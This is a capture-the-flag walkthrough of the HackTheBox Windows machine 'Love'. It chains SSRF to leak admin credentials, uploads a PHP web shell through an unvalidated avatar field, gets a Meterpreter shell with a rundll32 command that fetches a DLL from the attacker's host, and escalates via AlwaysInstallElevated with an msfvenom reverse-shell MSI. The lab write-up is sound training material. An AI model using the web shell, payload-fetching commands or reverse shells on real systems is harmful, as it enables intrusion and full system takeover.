HackTheBox: Love
windows nmap ssrf always-install-elevatedLove is a Windows-based machine authored by pwnmeow, with an average rating of 4.4 stars.
// Recon
nmap -A love.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-14 10:00 AEST
Nmap scan report for love.htb (10.10.10.239)
Host is up (0.020s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: Voting System using PHP
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-01-14T00:23:45
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 3h02m57s, deviation: 4h37m10s, median: 22m56s
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-01-13T16:23:46-08:00
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.11 seconds
Nmap reveals the server is likely a Windows 10 pro machine running:
- a webservice (or multiple) on ports 80, 443 and 5000
- Microsoft Directory Services via SMB on 445
- mysql on port 3306
Focusing briefly on the SMB service, we can run a few well-known tools to see how this is setup:
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 10.10.10.239
SMB 10.10.10.239 445 LOVE [*] Windows 10 Pro 19042 x64 (name:LOVE) (domain:Love) (signing:False) (SMBv1:True)
┌──(kali㉿kali)-[~]
└─$ smbmap -H 10.10.10.239
[!] Authentication error on 10.10.10.239
┌──(kali㉿kali)-[~]
└─$ smbclient -U guest --no-pass -L \\10.10.10.239
session setup failed: NT_STATUS_LOGON_FAILURE
We now know that SMBv1 support is available, message signing is not required, and that we can’t anonymously enumerate or browse any fileshares.
Turning to the web services, it seems that 80 is the only port that returns a working response for queries to either the machine IP 10.10.10.239
or the usual hostname love.htb
, which is a login page to a voting system:
Requests to 10.10.10.239
or love.htb
on ports 443 and 5000 simply return an error or forbidden message. However, looking closer at the nmap output above, we can see there may be another way in:
ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
The SSL certificate has been configured to allow the server to be accessed via staging.love.htb
, which if we request as http://staging.love.htb:80
returns a different page:
The sign-up form is inactive, but clicking on Demo in the navbar returns a form that allows entry of a file URL for malware scanning. The form doesn’t seem to work against external URLs, but supplying an input that it may not expect, e.g http://localhost/index.php
is a different story:
Server-side Request Forgery (SSRF) is a type of vulnerability that “allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker’s choosing”. In this case, the domain we are targeting is the local domain, by accessing the server as localhost
. Essentially, we are able to bypass security measures that rely on untrusted users only being able to access certain interfaces of a machine. Under normal conditions, we wouldn’t be able to reach this server at its localhost
interface - but if we can manipulate the server into making the request itself, the security is bypassed. There doesn’t seem to be too many interesting files available on the default port 80, but we know from our nmap scan earlier that this isn’t the only webserver port open. If we supply http://localhost:5000/index.php
as the URL to scan, we get something even more juicy:
We now have an admin user and password, but no obvious place to use them. Back on the inital login page at http://love.htb/
, the form asks for a Voter ID and password. But if we try http://love.htb/admin
(an obvious URL for admin panels) the input fields change to Username and password. Testing our new credentials logs us straight in:
There is a fair amount of functionality to explore here - as an admin you can setup a campaign, add candidates, create working voter accounts that can also be logged in etc. After exploring the site for a while, the obvious feature to look at more closely is the setup of voter accounts, since this allows for uploading of a user avatar, another well-known class of vulnerability. There doesn’t seem to be any kind of file validation in place, and we’re able to upload a simple PHP web shell shell.php
:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
that the voter list confirms for us is uploaded at ../images/shell.php
:
We now have access to a local user:
http://love.htb/images/shell.php?cmd=whoami
love\phoebe
and can browser to her desktop and recover the user flag in the usual way:
http://love.htb/images/shell.php?cmd=dir+C%3A%5CUsers%5CPhoebe%5CDesktop
Volume in drive C has no label.
Volume Serial Number is 56DE-BA30
Directory of C:\Users\Phoebe\Desktop
04/13/2021 02:20 AM
.
04/13/2021 02:20 AM
..
01/16/2022 02:59 PM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 4,172,554,240 bytes free
http://love.htb/images/shell.php?cmd=type+C%3A%5CUsers%5CPhoebe%5CDesktop%5Cuser.txt
1d******************************
// Privilege Escalation
While we have been able to upload a functioning webshell, it seems like there is some process (probably Windows Defender) that periodically deletes the file (renaming shell.php
to a more innoculous name doesn’t seem to help). We can use metasploit to easily upgrade to a proper native shell:
msf6 > use windows/smb/smb_delivery
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/smb_delivery) > set LHOST 10.10.14.35
LHOST => 10.10.14.35
msf6 exploit(windows/smb/smb_delivery) > set SRVHOST 10.10.14.35
SRVHOST => 10.10.14.35
msf6 exploit(windows/smb/smb_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.35:4444
[*] Started service listener on 10.10.14.35:445
[*] Server started.
[*] Run the following command on the target machine:
msf6 exploit(windows/smb/smb_delivery) > rundll32.exe \\10.10.14.35\eUWwk\test.dll,0
We run the specified command rundll32.exe \\10.10.14.35\eUWwk\test.dll,0
in our webshell, and get back a meterpreter session, which in turn can be upgraded to a native shell:
[*] Sending stage (175174 bytes) to 10.10.10.239
[*] Meterpreter session 1 opened (10.10.14.35:4444 -> 10.10.10.239:55288 ) at 2022-01-19 10:36:55 +1000
msf6 exploit(windows/smb/smb_delivery) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows LOVE\Phoebe @ LOVE 10.10.14.35:4444 -> 10.10.10.239:55288 (10.10.10.239)
msf6 exploit(windows/smb/smb_delivery) > sessions 1
[*] Starting interaction with 1...
meterpreter > shell
Process 5688 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\omrs\images>
Now that we have a stable shell, we can start to enumerate the system and look for a way to achieve system access. Browsing around we can see that the xampp stack (apache, mariaDB, php & perl) is running out of C:\xampp
. If we browse this directory we can see that by default the root mysql user has no password, so it should be possible for us to run root-level database commands from our shell. We can get a list of available databases by running dir C:\xampp\mysql\data
and seeing what directories exist:
Directory of C:\xampp\mysql\data
01/18/2022 04:53 PM <DIR> .
01/18/2022 04:53 PM <DIR> ..
..
04/12/2021 07:17 AM <DIR> mysql
..
04/12/2021 07:17 AM <DIR> performance_schema
04/12/2021 07:17 AM <DIR> phpmyadmin
04/12/2021 07:17 AM <DIR> test
04/12/2021 11:11 AM <DIR> votesystem
11 File(s) 35,722,160 bytes
7 Dir(s) 4,024,033,280 bytes free
Running a command against any of these is straightforward, e.g to get a list of tables from phpmyadmin:
C:\xampp\mysql\bin>mysql -uroot -Dphpmyadmin -e "show tables;";
mysql -uroot -Dphpmyadmin -e "show tables;";
Tables_in_phpmyadmin
pma__bookmark
pma__central_columns
pma__column_info
pma__designer_settings
pma__export_templates
...
Unfortunately, most of these tables are empty and don’t contain anything useful.
It isn’t really privilege escalation, but there is another trick worth trying with mysql to read files your default user may not have access to. Since we can anticipate the location of the root, flag, we can try the LOAD_FILE()
function and see if the mysql user has access:
C:\xampp\mysql\bin>mysql -uroot -Dphpmyadmin -e "SELECT LOAD_FILE('C:\\Users\\Administrator\\Desktop\\user.txt')"
mysql -uroot -Dphpmyadmin -e "SELECT LOAD_FILE('C:\\Users\\Administrator\\Desktop\\user.txt')"
LOAD_FILE('C:\\Users\\Administrator\\Desktop\\user.txt')
NULL
In this case it doesn’t have access either, but as I said, it’s always worth a shot ;-)
More typical methods of enumeration we can use at this point include:
- WinPEAS (easily uploaded through our meterpreter shell)
- Windows Exploit Suggester python3 (runs against
systeminfo
output, looking for viable exploits. This led me down the path of trying the HotPotato exploit, which failed for unknown reasons, but was interesting all the same) - PrivescCheck (a powershell-based privilege escalation checker, similar to WinPEAS)
There were a few interesting outputs from running these scripts, one in particular being that the AlwaysInstallElevated
registry key was enabled for both the current user and local machine. As explained in several places, this pair of settings enables local users to run .msi
(Microsoft Installer) with system privileges. Building a malicious payload via msfvenom that will establish a system-level reverse shell is straightforward:
./msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<LOCAL_PORT> -f msi -o reverse.msi
We then upload the reverse.msi
file to a writeable directory on the target machine via meterpreter, in this case C:\Users\Phoebe
:
meterpreter > upload reverse.msi
[*] uploading : reverse.msi -> reverse.msi
[*] Uploaded 156.00 KiB of 156.00 KiB (100.0%): reverse.msi -> reverse.msi
[*] uploaded : reverse.msi -> reverse.msi
Establish a compatible listener on our local machine:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
payload => windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.35
LHOST => 10.10.14.35
msf6 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.35:5555
And then install (execute) the file on the target:
C:\Users\Phoebe>msiexec /quiet /qn /i reverse.msi
msiexec /quiet /qn /i reverse.msi
Which creates a connection back to our listener, running as the system user, and allowing us to grab the root flag:
[*] Command shell session 1 opened (10.10.14.35:5555 -> 10.10.10.239:55382 ) at 2022-01-20 09:21:05 +1000
Shell Banner:
Microsoft Windows [Version 10.0.19042.867]
-----
C:\WINDOWS\system32>whoami
whoami
nt authority\system
C:\WINDOWS\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop
dir
Volume in drive C has no label.
Volume Serial Number is 56DE-BA30
Directory of C:\Users\Administrator\Desktop
04/13/2021 02:20 AM <DIR> .
04/13/2021 02:20 AM <DIR> ..
01/18/2022 04:53 PM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 4,027,445,248 bytes free
C:\Users\Administrator\Desktop>type root.txt
type root.txt
8a******************************